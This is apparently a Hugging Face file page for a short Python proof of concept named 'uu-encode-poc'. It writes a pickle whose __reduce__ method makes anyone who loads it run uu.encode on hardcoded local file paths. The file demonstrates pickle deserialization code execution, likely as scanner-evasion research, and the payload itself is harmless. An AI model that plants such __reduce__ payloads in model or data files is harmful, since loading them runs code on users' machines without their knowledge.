uu-encode-poc / generate.py
AeonAIRisk's picture
Upload generate.py with huggingface_hub
0d5d68f verified
Raw
History Blame Contribute Delete
383 Bytes
import pickle
from pathlib import Path
import uu
out = Path(__file__).with_name("payload.pkl")
src = r"C:\Users\uozer\AppData\Local\Temp\opencode\w33_uu_src.bin"
dst = r"C:\Users\uozer\AppData\Local\Temp\opencode\w33_uu_out.txt"
class E:
def __reduce__(self):
return (uu.encode, (src, dst))
out.write_bytes(pickle.dumps(E(), protocol=4))
print("WROTE", out)